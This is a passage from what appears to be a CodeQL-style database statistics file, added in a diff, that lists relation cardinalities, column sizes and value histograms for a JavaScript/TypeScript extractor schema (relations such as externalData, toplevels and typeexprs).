+<a>30</a> +<b>35</b> +<v>2169</v> +</b> +<b> +<a>35</a> +<b>41</b> +<v>2390</v> +</b> +<b> +<a>41</a> +<b>45</b> +<v>2025</v> +</b> +<b> +<a>45</a> +<b>49</b> +<v>2451</v> +</b> +<b> +<a>49</a> +<b>52</b> +<v>2070</v> +</b> +<b> +<a>52</a> +<b>55</b> +<v>2094</v> +</b> +<b> +<a>55</a> +<b>59</b> +<v>2200</v> +</b> +<b> +<a>59</a> +<b>65</b> +<v>2223</v> +</b> +<b> +<a>65</a> +<b>76</b> +<v>2124</v> +</b> +<b> +<a>76</a> +<b>528</b> +<v>1296</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>offset</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>13</b> +<v>2042</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>37935</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>3184</v> +</b> +<b> +<a>20</a> +<b>21</b> +<v>3634</v> +</b> +<b> +<a>22</a> +<b>31</b> +<v>4534</v> +</b> +<b> +<a>32</a> +<b>276</b> +<v>4265</v> +</b> +<b> +<a>277</a> +<b>27806</b> +<v>1205</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>offset</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>2040</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>37937</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>3184</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>3634</v> +</b> +<b> +<a>13</a> +<b>18</b> +<v>4342</v> +</b> +<b> +<a>18</a> +<b>131</b> +<v>4269</v> +</b> +<b> +<a>131</a> +<b>10163</b> +<v>1393</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>offset</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>40044</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4434</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3310</v> +</b> +<b> +<a>4</a> +<b>11</b> +<v>4641</v> +</b> +<b> +<a>11</a> +<b>152</b> +<v>4260</v> +</b> +<b> +<a>152</a> +<b>317</b> +<v>110</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>offset</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>2040</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>37937</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>3184</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>3634</v> +</b> +<b> +<a>13</a> +<b>18</b> +<v>4342</v> +</b> +<b> +<a>18</a> +<b>131</b> +<v>4269</v> +</b> +<b> +<a>131</a> +<b>10163</b> +<v>1393</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>offset</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>40085</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3591</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>3628</v> +</b> +<b> +<a>4</a> +<b>9</b> +<v>4339</v> +</b> +<b> +<a>9</a> +<b>62</b> +<v>4261</v> +</b> +<b> +<a>62</a> +<b>326</b> +<v>895</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15579</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>110688</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>8065</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>13975</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>12842</v> +</b> +<b> +<a>13</a> +<b>1717</b> +<v>6159</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>offset</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>9257</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>90442</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>13474</v> +</b> +<b> +<a>9</a> +<b>12</b> +<v>11463</v> +</b> +<b> +<a>12</a> +<b>19</b> +<v>13584</v> +</b> +<b> +<a>19</a> +<b>33</b> +<v>13154</v> +</b> +<b> +<a>33</a> +<b>89</b> +<v>12558</v> +</b> +<b> +<a>89</a> +<b>646</b> +<v>3376</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>12049</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4348</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>101350</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>13619</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>8078</v> +</b> +<b> +<a>11</a> +<b>15</b> +<v>13132</v> +</b> +<b> +<a>15</a> +<b>50</b> +<v>12597</v> +</b> +<b> +<a>50</a> +<b>581</b> +<v>2135</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>167235</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>73</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>12051</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4298</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>101396</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>13614</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>8126</v> +</b> +<b> +<a>11</a> +<b>15</b> +<v>13109</v> +</b> +<b> +<a>15</a> +<b>51</b> +<v>12592</v> +</b> +<b> +<a>51</a> +<b>589</b> +<v>2122</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>588</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>318</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>151</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>143</v> +</b> +<b> +<a>12</a> +<b>24</b> +<v>145</v> +</b> +<b> +<a>24</a> +<b>36</b> +<v>142</v> +</b> +<b> +<a>36</a> +<b>86</b> +<v>139</v> +</b> +<b> +<a>87</a> +<b>1324</b> +<v>139</v> +</b> +<b> +<a>1373</a> +<b>23504</b> +<v>88</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>offset</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>590</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>319</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>144</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>139</v> +</b> +<b> +<a>9</a> +<b>13</b> +<v>155</v> +</b> +<b> +<a>13</a> +<b>21</b> +<v>145</v> +</b> +<b> +<a>21</a> +<b>59</b> +<v>142</v> +</b> +<b> +<a>59</a> +<b>458</b> +<v>139</v> +</b> +<b> +<a>546</a> +<b>15972</b> +<v>80</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1018</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>119</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>157</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>146</v> +</b> +<b> +<a>13</a> +<b>24</b> +<v>139</v> +</b> +<b> +<a>24</a> +<b>141</b> +<v>140</v> +</b> +<b> +<a>145</a> +<b>127333</b> +<v>134</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1018</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>119</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>157</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>146</v> +</b> +<b> +<a>13</a> +<b>24</b> +<v>139</v> +</b> +<b> +<a>24</a> +<b>141</b> +<v>140</v> +</b> +<b> +<a>145</a> +<b>127333</b> +<v>134</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1101</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>190</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>146</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>164</v> +</b> +<b> +<a>7</a> +<b>19</b> +<v>151</v> +</b> +<b> +<a>19</a> +<b>169</b> +<v>101</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15579</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>110688</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>8065</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>13975</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>12842</v> +</b> +<b> +<a>13</a> +<b>1717</b> +<v>6159</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>offset</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>9257</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>90442</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>13474</v> +</b> +<b> +<a>9</a> +<b>12</b> +<v>11463</v> +</b> +<b> +<a>12</a> +<b>19</b> +<v>13584</v> +</b> +<b> +<a>19</a> +<b>33</b> +<v>13154</v> +</b> +<b> +<a>33</a> +<b>89</b> +<v>12558</v> +</b> +<b> +<a>89</a> +<b>646</b> +<v>3376</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>167235</v> +</b> +<b> +<a>2</a> +<b>5</b> +<v>73</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>12049</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4348</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>101350</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>13619</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>8078</v> +</b> +<b> +<a>11</a> +<b>15</b> +<v>13132</v> +</b> +<b> +<a>15</a> +<b>50</b> +<v>12597</v> +</b> +<b> +<a>50</a> +<b>581</b> +<v>2135</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>4</b> +<v>12051</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>4298</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>101396</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>13614</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>8126</v> +</b> +<b> +<a>11</a> +<b>15</b> +<v>13111</v> +</b> +<b> +<a>15</a> +<b>51</b> +<v>12590</v> +</b> +<b> +<a>51</a> +<b>589</b> +<v>2122</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>594</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>327</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>150</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>141</v> +</b> +<b> +<a>12</a> +<b>23</b> +<v>144</v> +</b> +<b> +<a>23</a> +<b>36</b> +<v>142</v> +</b> +<b> +<a>36</a> +<b>81</b> +<v>142</v> +</b> +<b> +<a>83</a> +<b>1013</b> +<v>141</v> +</b> +<b> +<a>1068</a> +<b>22526</b> +<v>94</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>offset</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>594</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>331</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>148</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>147</v> +</b> +<b> +<a>9</a> +<b>14</b> +<v>161</v> +</b> +<b> +<a>14</a> +<b>23</b> +<v>151</v> +</b> +<b> +<a>23</a> +<b>72</b> +<v>143</v> +</b> +<b> +<a>72</a> +<b>1221</b> +<v>141</v> +</b> +<b> +<a>1224</a> +<b>16225</b> +<v>59</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1020</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>140</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>151</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>146</v> +</b> +<b> +<a>13</a> +<b>25</b> +<v>143</v> +</b> +<b> +<a>25</a> +<b>158</b> +<v>142</v> +</b> +<b> +<a>160</a> +<b>129820</b> +<v>133</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1097</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>214</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>119</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>146</v> +</b> +<b> +<a>6</a> +<b>14</b> +<v>141</v> +</b> +<b> +<a>14</a> +<b>56</b> +<v>141</v> +</b> +<b> +<a>57</a> +<b>66</b> +<v>17</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1020</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>140</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>151</v> +</b> +<b> +<a>6</a> +<b>13</b> +<v>146</v> +</b> +<b> +<a>13</a> +<b>25</b> +<v>143</v> +</b> +<b> +<a>25</a> +<b>158</b> +<v>142</v> +</b> +<b> +<a>160</a> +<b>129820</b> +<v>133</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>externalData</name> +<cardinality>5684</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>950</v> +</e> +<e> +<k>path</k> +<v>3</v> +</e> +<e> +<k>column</k> +<v>6</v> +</e> +<e> +<k>value</k> +<v>790</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>path</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>950</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>column</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>4</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>946</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>6</b> +<v>8</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>942</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>path</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>72</a> +<b>73</b> +<v>1</v> +</b> +<b> +<a>874</a> +<b>875</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>path</src> +<trg>column</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>path</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>86</a> +<b>87</b> +<v>1</v> +</b> +<b> +<a>722</a> +<b>723</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>column</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>946</a> +<b>947</b> +<v>4</v> +</b> +<b> +<a>950</a> +<b>951</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>column</src> +<trg>path</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>4</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>column</src> +<trg>value</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>31</a> +<b>32</b> +<v>1</v> +</b> +<b> +<a>93</a> +<b>94</b> +<v>1</v> +</b> +<b> +<a>117</a> +<b>118</b> +<v>1</v> +</b> +<b> +<a>620</a> +<b>621</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>478</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>132</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>69</v> +</b> +<b> +<a>5</a> +<b>16</b> +<v>61</v> +</b> +<b> +<a>16</a> +<b>928</b> +<v>50</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>path</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>764</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>26</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>value</src> +<trg>column</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>711</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>79</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>snapshotDate</name> +<key>snapshotDate</key> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>snapshotDate</k> +<v>1</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>sourceLocationPrefix</name> +<cardinality>1</cardinality> +<columnsizes> +<e> +<k>prefix</k> +<v>1</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>toplevels</name> +<key>id</key> +<cardinality>5320</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>5320</v> +</e> +<e> +<k>kind</k> +<v>4</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5320</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>31</a> +<b>32</b> +<v>1</v> +</b> +<b> +<a>86</a> +<b>87</b> +<v>1</v> +</b> +<b> +<a>5200</a> +<b>5201</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_externs</name> +<cardinality>44</cardinality> +<columnsizes> +<e> +<k>toplevel</k> +<v>44</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_instantiated</name> +<cardinality>5</cardinality> +<columnsizes> +<e> +<k>decl</k> +<v>5</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_declare_keyword</name> +<cardinality>66</cardinality> +<columnsizes> +<e> +<k>stmt</k> +<v>66</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_asserts_keyword</name> +<cardinality>66</cardinality> +<columnsizes> +<e> +<k>node</k> +<v>66</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_abstract_member</name> +<cardinality>66</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>66</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_public_keyword</name> +<cardinality>9297</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>9297</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_private_keyword</name> +<cardinality>11391</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>11391</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_protected_keyword</name> +<cardinality>1048</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1048</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_readonly_keyword</name> +<cardinality>2338</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>2338</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_type_keyword</name> +<cardinality>1000</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1000</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_optional_member</name> +<cardinality>3668</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>3668</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>has_definite_assignment_assertion</name> +<cardinality>100</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>100</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_optional_parameter_declaration</name> +<cardinality>3966</cardinality> +<columnsizes> +<e> +<k>parameter</k> +<v>3966</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>parameter_fields</name> +<cardinality>2693</cardinality> +<columnsizes> +<e> +<k>field</k> +<v>2693</v> +</e> +<e> +<k>constructor</k> +<v>1020</v> +</e> +<e> +<k>param_index</k> +<v>20</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>field</src> +<trg>constructor</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2693</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>field</src> +<trg>param_index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>2693</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>constructor</src> +<trg>field</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>233</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>118</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>78</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>83</v> +</b> +<b> +<a>7</a> +<b>21</b> +<v>69</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>constructor</src> +<trg>param_index</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>233</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>118</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>78</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>83</v> +</b> +<b> +<a>7</a> +<b>21</b> +<v>69</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>param_index</src> +<trg>field</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>29</a> +<b>30</b> +<v>1</v> +</b> +<b> +<a>36</a> +<b>37</b> +<v>1</v> +</b> +<b> +<a>48</a> +<b>49</b> +<v>1</v> +</b> +<b> +<a>69</a> +<b>70</b> +<v>1</v> +</b> +<b> +<a>104</a> +<b>105</b> +<v>1</v> +</b> +<b> +<a>152</a> +<b>153</b> +<v>1</v> +</b> +<b> +<a>230</a> +<b>231</b> +<v>1</v> +</b> +<b> +<a>348</a> +<b>349</b> +<v>1</v> +</b> +<b> +<a>581</a> +<b>582</b> +<v>1</v> +</b> +<b> +<a>1020</a> +<b>1021</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>param_index</src> +<trg>constructor</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>1</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>1</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>1</v> +</b> +<b> +<a>10</a> +<b>11</b> +<v>1</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>1</v> +</b> +<b> +<a>22</a> +<b>23</b> +<v>1</v> +</b> +<b> +<a>29</a> +<b>30</b> +<v>1</v> +</b> +<b> +<a>36</a> +<b>37</b> +<v>1</v> +</b> +<b> +<a>48</a> +<b>49</b> +<v>1</v> +</b> +<b> +<a>69</a> +<b>70</b> +<v>1</v> +</b> +<b> +<a>104</a> +<b>105</b> +<v>1</v> +</b> +<b> +<a>152</a> +<b>153</b> +<v>1</v> +</b> +<b> +<a>230</a> +<b>231</b> +<v>1</v> +</b> +<b> +<a>348</a> +<b>349</b> +<v>1</v> +</b> +<b> +<a>581</a> +<b>582</b> +<v>1</v> +</b> +<b> +<a>1020</a> +<b>1021</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>is_const_enum</name> +<cardinality>62</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>62</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>is_abstract_class</name> +<cardinality>116</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>116</v> +</e> +</columnsizes> +<dependencies/> +</relation> +<relation> +<name>typeexprs</name> +<cardinality>54050</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>54050</v> +</e> +<e> +<k>kind</k> +<v>6</v> +</e> +<e> +<k>parent</k> +<v>29264</v> +</e> +<e> +<k>idx</k> +<v>26</v> +</e> +<e> +<k>tostring</k> +<v>3278</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>54050</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>54050</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>idx</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>54050</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>tostring</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>54050</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>733</a> +<b>734</b> +<v>1</v> +</b> +<b> +<a>2513</a> +<b>2514</b> +<v>1</v> +</b> +<b> +<a>25306</a> +<b>25307</b> +<v>1</v> +</b> +<b> +<a>25491</a> +<b>25492</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>3</a> +<b>4</b> +<v>1</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +<b> +<a>733</a> +<b>734</b> 